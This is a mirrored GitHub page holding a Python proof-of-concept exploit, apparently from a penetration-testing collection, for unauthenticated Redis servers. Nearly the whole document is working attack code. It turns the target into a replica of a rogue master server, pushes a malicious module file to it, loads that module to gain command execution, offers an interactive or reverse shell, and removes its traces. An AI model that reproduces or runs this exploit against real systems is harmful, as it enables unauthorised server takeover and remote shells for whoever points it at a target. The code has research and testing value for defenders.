mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-06-20 09:50:19 +00:00
222 lines
6.9 KiB
Python
222 lines
6.9 KiB
Python
#!/usr/bin/env python3
|
|
import socket
|
|
import sys
|
|
from time import sleep
|
|
from optparse import OptionParser
|
|
|
|
CLRF = "\r\n"
|
|
SERVER_EXP_MOD_FILE = "exp.so"
|
|
|
|
BANNER = """______ _ _ ______ _____
|
|
| ___ \ | (_) | ___ \ / ___|
|
|
| |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
|
|
| // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
|
|
| |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
|
|
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
|
|
__/ |
|
|
|___/
|
|
@copyright n0b0dy @ r3kapig
|
|
"""
|
|
|
|
def encode_cmd_arr(arr):
|
|
cmd = ""
|
|
cmd += "*" + str(len(arr))
|
|
for arg in arr:
|
|
cmd += CLRF + "$" + str(len(arg))
|
|
cmd += CLRF + arg
|
|
cmd += "\r\n"
|
|
return cmd
|
|
|
|
def encode_cmd(raw_cmd):
|
|
return encode_cmd_arr(raw_cmd.split(" "))
|
|
|
|
def decode_cmd(cmd):
|
|
if cmd.startswith("*"):
|
|
raw_arr = cmd.strip().split("\r\n")
|
|
return raw_arr[2::2]
|
|
if cmd.startswith("$"):
|
|
return cmd.split("\r\n", 2)[1]
|
|
return cmd.strip().split(" ")
|
|
|
|
def info(msg):
|
|
print(f"\033[1;32;40m[info]\033[0m {msg}")
|
|
|
|
def error(msg):
|
|
print(f"\033[1;31;40m[err ]\033[0m {msg}")
|
|
|
|
def din(sock, cnt=4096):
|
|
global verbose
|
|
msg = sock.recv(cnt)
|
|
if verbose:
|
|
if len(msg) < 1000:
|
|
print(f"\033[1;34;40m[->]\033[0m {msg}")
|
|
else:
|
|
print(f"\033[1;34;40m[->]\033[0m {msg[:80]}......{msg[-80:]}")
|
|
return msg.decode('gb18030')
|
|
|
|
def dout(sock, msg):
|
|
global verbose
|
|
if type(msg) != bytes:
|
|
msg = msg.encode()
|
|
sock.send(msg)
|
|
if verbose:
|
|
if len(msg) < 1000:
|
|
print(f"\033[1;33;40m[<-]\033[0m {msg}")
|
|
else:
|
|
print(f"\033[1;33;40m[<-]\033[0m {msg[:80]}......{msg[-80:]}")
|
|
|
|
def decode_shell_result(s):
|
|
return "\n".join(s.split("\r\n")[1:-1])
|
|
|
|
class Remote:
|
|
def __init__(self, rhost, rport):
|
|
self._host = rhost
|
|
self._port = rport
|
|
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
self._sock.connect((self._host, self._port))
|
|
|
|
def send(self, msg):
|
|
dout(self._sock, msg)
|
|
|
|
def recv(self, cnt=65535):
|
|
return din(self._sock, cnt)
|
|
|
|
def do(self, cmd):
|
|
self.send(encode_cmd(cmd))
|
|
buf = self.recv()
|
|
return buf
|
|
|
|
def shell_cmd(self, cmd):
|
|
self.send(encode_cmd_arr(['system.exec', f"{cmd}"]))
|
|
buf = self.recv()
|
|
return buf
|
|
|
|
class RogueServer:
|
|
def __init__(self, lhost, lport):
|
|
self._host = lhost
|
|
self._port = lport
|
|
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
self._sock.bind(('0.0.0.0', self._port))
|
|
self._sock.listen(10)
|
|
|
|
def close(self):
|
|
self._sock.close()
|
|
|
|
def handle(self, data):
|
|
cmd_arr = decode_cmd(data)
|
|
resp = ""
|
|
phase = 0
|
|
if cmd_arr[0].startswith("PING"):
|
|
resp = "+PONG" + CLRF
|
|
phase = 1
|
|
elif cmd_arr[0].startswith("REPLCONF"):
|
|
resp = "+OK" + CLRF
|
|
phase = 2
|
|
elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"):
|
|
resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
|
|
resp += "$" + str(len(payload)) + CLRF
|
|
resp = resp.encode()
|
|
resp += payload + CLRF.encode()
|
|
phase = 3
|
|
return resp, phase
|
|
|
|
def exp(self):
|
|
cli, addr = self._sock.accept()
|
|
while True:
|
|
data = din(cli, 1024)
|
|
if len(data) == 0:
|
|
break
|
|
resp, phase = self.handle(data)
|
|
dout(cli, resp)
|
|
if phase == 3:
|
|
break
|
|
|
|
def interact(remote):
|
|
info("Interact mode start, enter \"exit\" to quit.")
|
|
try:
|
|
while True:
|
|
cmd = input("\033[1;32;40m[<<]\033[0m ").strip()
|
|
if cmd == "exit":
|
|
return
|
|
r = remote.shell_cmd(cmd)
|
|
for l in decode_shell_result(r).split("\n"):
|
|
if l:
|
|
print("\033[1;34;40m[>>]\033[0m " + l)
|
|
except KeyboardInterrupt:
|
|
pass
|
|
|
|
def reverse(remote):
|
|
info("Open reverse shell...")
|
|
addr = input("Reverse server address: ")
|
|
port = input("Reverse server port: ")
|
|
dout(remote, encode_cmd(f"system.rev {addr} {port}"))
|
|
info("Reverse shell payload sent.")
|
|
info(f"Check at {addr}:{port}")
|
|
|
|
def cleanup(remote):
|
|
info("Unload module...")
|
|
remote.do("MODULE UNLOAD system")
|
|
|
|
def runserver(rhost, rport, lhost, lport):
|
|
# expolit
|
|
remote = Remote(rhost, rport)
|
|
info("Setting master...")
|
|
remote.do(f"SLAVEOF {lhost} {lport}")
|
|
info("Setting dbfilename...")
|
|
remote.do(f"CONFIG SET dbfilename {SERVER_EXP_MOD_FILE}")
|
|
sleep(2)
|
|
rogue = RogueServer(lhost, lport)
|
|
rogue.exp()
|
|
sleep(2)
|
|
info("Loading module...")
|
|
remote.do(f"MODULE LOAD ./{SERVER_EXP_MOD_FILE}")
|
|
info("Temerory cleaning up...")
|
|
remote.do("SLAVEOF NO ONE")
|
|
remote.do("CONFIG SET dbfilename dump.rdb")
|
|
remote.shell_cmd(f"rm ./{SERVER_EXP_MOD_FILE}")
|
|
rogue.close()
|
|
|
|
# Operations here
|
|
choice = input("What do u want, [i]nteractive shell or [r]everse shell: ")
|
|
if choice.startswith("i"):
|
|
interact(remote)
|
|
elif choice.startswith("r"):
|
|
reverse(remote)
|
|
|
|
cleanup(remote)
|
|
|
|
if __name__ == '__main__':
|
|
print(BANNER)
|
|
parser = OptionParser()
|
|
parser.add_option("--rhost", dest="rh", type="string",
|
|
help="target host", metavar="REMOTE_HOST")
|
|
parser.add_option("--rport", dest="rp", type="int",
|
|
help="target redis port, default 6379", default=6379,
|
|
metavar="REMOTE_PORT")
|
|
parser.add_option("--lhost", dest="lh", type="string",
|
|
help="rogue server ip", metavar="LOCAL_HOST")
|
|
parser.add_option("--lport", dest="lp", type="int",
|
|
help="rogue server listen port, default 21000", default=21000,
|
|
metavar="LOCAL_PORT")
|
|
parser.add_option("--exp", dest="exp", type="string",
|
|
help="Redis Module to load, default exp.so", default="exp.so",
|
|
metavar="EXP_FILE")
|
|
parser.add_option("-v", "--verbose", action="store_true", default=False,
|
|
help="Show full data stream")
|
|
|
|
(options, args) = parser.parse_args()
|
|
global verbose, payload, exp_mod
|
|
verbose = options.verbose
|
|
exp_mod = options.exp
|
|
payload = open(exp_mod, "rb").read()
|
|
|
|
if not options.rh or not options.lh:
|
|
parser.error("Invalid arguments")
|
|
|
|
info(f"TARGET {options.rh}:{options.rp}")
|
|
info(f"SERVER {options.lh}:{options.lp}")
|
|
try:
|
|
runserver(options.rh, options.rp, options.lh, options.lp)
|
|
except Exception as e:
|
|
error(repr(e))
|